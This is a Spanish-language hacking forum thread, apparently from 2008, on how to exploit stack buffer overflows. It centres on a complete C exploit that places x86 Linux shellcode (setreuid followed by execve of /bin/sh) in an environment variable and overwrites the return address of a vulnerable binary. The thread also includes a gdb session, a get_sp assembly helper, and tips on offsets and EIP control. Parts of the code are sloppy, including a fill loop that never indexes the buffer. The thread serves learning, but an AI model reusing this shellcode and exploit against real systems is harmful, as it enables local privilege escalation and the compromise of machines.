Sobre el mundo de los offsets!!!

no entendi muy bien la pregunta :-\ yo tambien estaba mirando eso de los offset y si diriges el flujo hacia otra direccion de
memoria Huh

es que el offset que yo sepa no se produce en la pila Shocked

pon tu shellcode en las variables de ambiente y rejecuta ...

---
/*
* x2-vuln1.c
*
* Exploit for buffer overflows using the enviroment attack
* This technique kills the use of NOP instructions
*
* Written for G-Con Security Tips and Tricks
* nahual @g-con.org
*/

#include <stdio.h>
#include <unistd.h>

#define BUFFSIZE 1040
#define OFFSET 0
#define ALIGN 0
#define VICTIM "./bug"

extern char **environ;

char shellcode[]=
"\x29\xc0\xb0\x46\x29\xdb\xb3\x0c\x80\xeb\x0c\x89\xd9\xcd\x80\xeb\x18\x5e\x29"
"\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53"
"\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main(int argc, char **argv) {
int i, align=ALIGN, buffsize = BUFFSIZE;
unsigned long addr;
char *buf, *envy;

if((envy = getenv("AAAAAAA")) == NULL) {
setenv("AAAAAAA", shellcode, 1);
execve(argv[0], argv, environ);
}

buf = (char *)malloc(buffsize);
align = strlen(argv[0]) - strlen("./vuln1");

addr = (long)envy + align;

for(i=0;i<buffsize;i+=4)
*(unsigned long *)&buf=addr;

execle("VICTIM", "VICTIM", buf, NULL, environ);
}
---

no importa el tamanio que le pongas de buffer mientras ogres sobrescribir el EIP ... nueva tecnica .... mas facil y mas automagica =)

//Nahual

Bien nahual, muy bien pero llamame terca ya que no busco comodidad en el asunto, busco la complejidad de saber donde esta la direccion que me sirve para explotar el software en si. por eso me ocupo de saber el SP ya que con el obtengo de mejor manera la direccion del buffer que tanto busco, por lo usual estara desabilitado por miles o cientos de bytes, ya que el valor exacto estara dentro del offset de fondo conozco que el SP es un valor arbitrario pero esta muy cercano a la direccion vuln. del buffer, quiero conocer como obtengo la direccion vuln. del buffer y el offset desde ESP. me han comentado que utilize gdb ya que con el obtengo la direccion vulnerable exacta del buffer, y otras cosillas, pero yo ni idea utilizo gdb y cheka lo que obtengo.

Código:

root @linux]$ gdb vulnera
GNU gdb 6.2.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux".

(gdb) break main
Breakpoint 1 at 0x0x80484cd
(gdb) run
Starting program: /home/tamara/exploit/bug/10/vulnera

Breakpoint 1, 0x00x80484cd in main ()
print (char*)buffer
No symbol "buffer" in current context.
(gdb)

No me sirve, no soy muy familiar con gdb o estoy equivocada y necesito otras herramientas para dar en el clavo.

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

es la funcion que te dice donde esta SP (de hecho esp porque no es a 16 sino a 32 bits)

es problema de aqui es la rejecucion porque recuerda que estas poniendo en la memoria de tu exploit el codigo pero cuando ejeutas execve() lo que haces es tomar esa misma memoria y heap y usarlo en el nuevo binario (e hecho de que uses execle, execl, o algunas variacion de execve() es el chiste es mas acertado

PERO si el nuevo binario mueve la memoria un poco entonces tu exploit puede ser cortado, toma en cuenta que cuando pones algo en memoria aun y cuando hagas free() el contenido sigue ahi HASTA QUE SEA SOBRESCRITO si el programa vulnerable usa mucho la memoria digamos que usar el return to stack no es la mejor opcion

//Nahual

Utilizen las funciones de nahual, eran no publicas hasta hace poco que salieron en el libro shellcoders handbook de dave aitel.

es la manera mas sencilla y rapida. y ademas es 100% reliable

	Bienvenido(a), Visitante. Favor de ingresar o registrarse. ¿Perdiste tu email de activación? - Agosto 21, 2008, 07:34:11 Boton Buscar